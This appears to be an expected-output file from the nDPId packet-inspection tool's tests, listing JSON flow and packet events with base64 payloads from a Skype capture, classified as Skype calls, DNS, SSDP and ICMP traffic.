+00437{"flow_id":223,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1283,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":973915,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0\/HpAADYGLtxABBefwKgBIgG7yFJrWCY8zRY7joAQAB1KewAAAQEICkxH2kY+Mkmw"} +00503{"flow_id":223,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1284,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":973984,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":114,"pkt_l4_len":80,"pkt":"0NQSxnP1PBXCt3IOCABFAABkagBAAEAGtybAqAEiQAQXn8hSAbvNFjuOa1gmPIAYECyhWwAAAQEICj4ySnJMR9pGOm9QiCGp0cwW6vp4r5Dn8\/7YY8lRGP7REcP1BqFDpRTD4qb3sZ4E9ti6rTGePCt6"} +00449{"flow_id":212,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1285,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":995805,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8WuNAAEAGlUTAqAEinTfrkshMnFVVB2tZ4fDnQYAYEClq4gAAAQEICj4ySodMYN9f7d463h6NxxM="} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1286,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":1,"flow_first_seen":1431970684997,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.157","src_port":13021,"dst_port":40013,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":225,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1286,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":997599,"pkt_caplen":64,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":64,"pkt_l4_len":30,"pkt":"0NQSxnP1PBXCt3IOCABFAAAyBX4AAEARk57AqAEinTeCnTLdnE0AHhvPe8cCM2e01AKVV7JkJRCi7OoE7P+SqQ=="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1286,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":1,"flow_first_seen":1431970684997,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.157","src_port":13021,"dst_port":40013,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00486{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1287,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":1,"flow_first_seen":1431970684997,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.155","src_port":13021,"dst_port":40004,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00449{"flow_id":226,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1287,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":997600,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8MWwAAEARL9zAqAEiQAQXmzLdnEQAKCm\/e8kCIw7UNc1vAeAYbNVJreKXHNKN8e8UIdCt8moAbvU="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1287,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":1,"flow_first_seen":1431970684997,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.155","src_port":13021,"dst_port":40004,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1288,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":1,"flow_first_seen":1431970684997,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.141","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":227,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1288,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970684,"pkt_ts_usec":997661,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBr7UAAEARf9fAqAEi1cezjTLdnE8ALaWJe8sCd26eaxqppENRG4WXSuPXFKjQruFJphoXGEqS7tX7w9Yk1Q=="} +00530{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1288,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":1,"flow_first_seen":1431970684997,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.141","src_port":13021,"dst_port":40015,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00467{"flow_id":204,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1289,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":1537,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABK\/5kAAEAR95XAqAEiwKgBAftsADUANoJ0c24BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAABwAAQ=="} +00467{"flow_id":203,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1290,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":1625,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKlSsAAEARYgTAqAEiwKgBAev9ADUANqf\/XW0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDABcgVza3lwZQNuZXQAAAEAAQ=="} +00450{"flow_id":146,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1291,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":127027,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8XEBAAEAG\/OvAqAEinTeCjsg3nEXoG0gEyGJx5oAZECqAhAAAAQEICj4ySwpOwLXQr3KT27Tir4g="} +00480{"flow_id":222,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1292,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":128286,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"0NQSxnP1PBXCt3IOCABFAABVJapAAEAGylrAqAEinTfrnMhRAbsdDAEeNXDb94AYECxacgAAAQEICj4ySwtMXOVgRJ52DFIu7cAK7Gpc8dNzIO4YY2vVOHQu5N+2IqCrL00y"} +00491{"flow_id":221,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1293,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":128287,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABalixAAEAGWd3AqAEinTfrkshQAbtIMwmq6zPtWYAYECx6qAAAAQEICj4ySwtMYODx4TzV3\/Y4WDPH3tpvaLZcP8pol15k+DSkUSs81WKefnkA99PxSe0="} +00480{"flow_id":215,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1294,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":149885,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"PBXCt3IO0NQSxnP1CABFAABRFSRAADcGsqtv3UowwKgBIpxIyE81se+4YPNDfYAYAB1z\/AAAAQEICk2J+vw+Mkn+xXOaElxWbFuLSNnm3o\/Fjm1lnJVEzM0mszz\/y4c="} +00437{"flow_id":215,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1295,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":150002,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0iTFAAEAGNbvAqAEib91KMMhPnEhg80OrNbHv1YAQECfqJwAAAQEICj4ySyBNifr8"} +00449{"flow_id":213,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1296,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":175481,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8rRdAAEAGQwbAqAEinTfrnMhNnFpJkZ6byTsrQ4AYEChgjAAAAQEICj4ySzlMXOPPdjjDMntxC5I="} +00491{"flow_id":186,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1299,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":213656,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABa1hVAAEAGGUfAqAEi1cezr8hHAbtzmW+D0lUdQ4AYECyeSQAAAQEICj4yS15O3xqxJBunUkBMeJMsfT1eF4pqVDnte2DgNERt9BmDXlOuUVzA32khXIM="} +00450{"flow_id":109,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1303,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":617101,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8zlxAADYG9whv3U2vwKgBIpxeyDDQUSxSCFXtQ4AYAB2N+wAAAQEICk2j\/OA+MeNfPKoQLQ7QSrU="} +00448{"flow_id":97,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1305,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":642808,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8O6VAADMGeOidODQswKgBIpxUyC6j+8W4XpsVb4AYAB1arAAAAQEICkxoG3g+MduFVLc8bSFmElE="} +00452{"flow_id":155,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1307,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":664106,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAxaAAAEARMZnAqAEiwKgBAfduADUALM6fTeoBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00452{"flow_id":156,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1308,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":664227,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAXDMAAEARmwbAqAEiwKgBAfsCADUALD+l2TUBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00481{"flow_id":222,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1309,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":713330,"pkt_caplen":99,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":99,"pkt_l4_len":65,"pkt":"0NQSxnP1PBXCt3IOCABFAABV8q5AAEAG\/VXAqAEinTfrnMhRAbsdDAEeNXDb94AYECxYLwAAAQEICj4yTU5MXOVgRJ52DFIu7cAK7Gpc8dNzIO4YY2vVOHQu5N+2IqCrL00y"} +00492{"flow_id":221,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1310,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":713332,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"0NQSxnP1PBXCt3IOCABFAABaQBJAAEAGr\/fAqAEinTfrkshQAbtIMwmq6zPtWYAYECx4ZQAAAQEICj4yTU5MYODx4TzV3\/Y4WDPH3tpvaLZcP8pol15k+DSkUSs81WKefnkA99PxSe0="} +00449{"flow_id":214,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1311,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":727482,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8i2lAAEAGleXAqAEiQAQXn8hOnEl2PjsWIF+fsYAYECgZKQAAAQEICj4yTVxMR9i06BKmNwKjHHk="} +00519{"flow_id":160,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1312,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":772709,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrNJRAAEAGurbAqAEi1cezsMg+Absskrs7gA\/xNYAZECy8IwAAAQEICj4yTYlO3n\/RxnG4\/AJEgxSLpj4g1w1XejDcElFRdGJgTnfA7RCUIGPtheZryFD\/LSyJskZ7bbubC2TOpkOp3g=="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1316,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":1,"flow_first_seen":1431970685835,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"239.255.255.250","src_port":59237,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00592{"flow_id":228,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1316,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":835246,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6PBXCt3IOCABFAAChckEAAAERlUbAqAEi7\/\/\/+udlB2wAjUvnTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KTVg6IDINCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KU1Q6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOUFBQQ29ubmVjdGlvbjoxDQoNCg=="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1316,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":1,"flow_first_seen":1431970685835,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"239.255.255.250","src_port":59237,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00588{"flow_id":228,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1317,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":835271,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AQBef\/\/6PBXCt3IOCABFAACgeC8AAAERj1nAqAEi7\/\/\/+udlB2wAjLHaTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KTVg6IDINCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KU1Q6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOSVBDb25uZWN0aW9uOjENCg0K"} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1318,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":1,"flow_first_seen":1431970685835,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"239.255.255.250","src_port":58061,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00593{"flow_id":229,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1318,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":835365,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6PBXCt3IOCABFAAChI3QAAAER5BPAqAEi7\/\/\/+uLNB2wAjVB\/TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KTVg6IDINCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KU1Q6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOUFBQQ29ubmVjdGlvbjoxDQoNCg=="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1318,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":1,"flow_first_seen":1431970685835,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"239.255.255.250","src_port":58061,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00588{"flow_id":229,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1319,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":835379,"pkt_caplen":174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":174,"pkt_l4_len":140,"pkt":"AQBef\/\/6PBXCt3IOCABFAACgWWQAAAERriTAqAEi7\/\/\/+uLNB2wAjLZyTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KTVg6IDINCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpNQU46ICJzc2RwOmRpc2NvdmVyIg0KU1Q6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOSVBDb25uZWN0aW9uOjENCg0K"} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1320,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":1,"flow_first_seen":1431970685835,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":59052,"dst_port":5351,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00420{"flow_id":230,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1320,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":835490,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAo7Q4AAEARCkPAqAEiwKgBAeasFOcAFAzzAAEAADLdMt0AAA4Q"} +00453{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1321,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":1,"flow_first_seen":1431970685839,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.34","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":231,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1321,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":839326,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"PBXCt3IO0NQSxnP1CABFwABElr0AAEABX8jAqAEBwKgBIgMDgJYAAAAARQAAKO0OAABAEQpDwKgBIsCoAQHmrBTnABQM8wABAAAy3TLdAAAOEA=="} +00485{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1321,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":1,"flow_first_seen":1431970685839,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.34","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1323,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":1,"flow_first_seen":1431970685852,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"91.190.218.125","src_port":51284,"dst_port":12350,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":232,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1323,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":852960,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAXIlAAEAG5ijAqAEiW77afchUMD4lFgKCAAAAALAC\/\/+SwgAAAgQFtAEDAwUBAQgKPjJN1wAAAAAEAgAA"} +00437{"flow_id":232,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1324,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":921461,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0NCRAAPQGWplbvtp9wKgBIjA+yFR61rIKJRYCg4ASH\/4KBwAAAgQFoAEDAwQBAQQC"} +00420{"flow_id":232,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1325,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":921522,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"0NQSxnP1PBXCt3IOCABFAAAoGAJAAEAGKsjAqAEiW77afchUMD4lFgKDetayC1AQIABKwAAA"} +00493{"flow_id":232,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1326,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":921880,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"0NQSxnP1PBXCt3IOCABFAABbqGlAAEAGmi3AqAEiW77afchUMD4lFgKDetayC1AYIACNzQAA1a99jnvZiFawQpx1ibr2pzSDK7StrM160W2HXA\/w\/P1uz0n3SPhAgA9gcBRVY3ta\/6TF"} +00428{"flow_id":232,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1329,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431970685,"pkt_ts_usec":984119,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"PBXCt3IO0NQSxnP1CABFAAAoJyRAADcGJKZbvtp9wKgBIjA+yFR61rILJRYCtlAQA6Bm7QAAAAAAAAAA"} 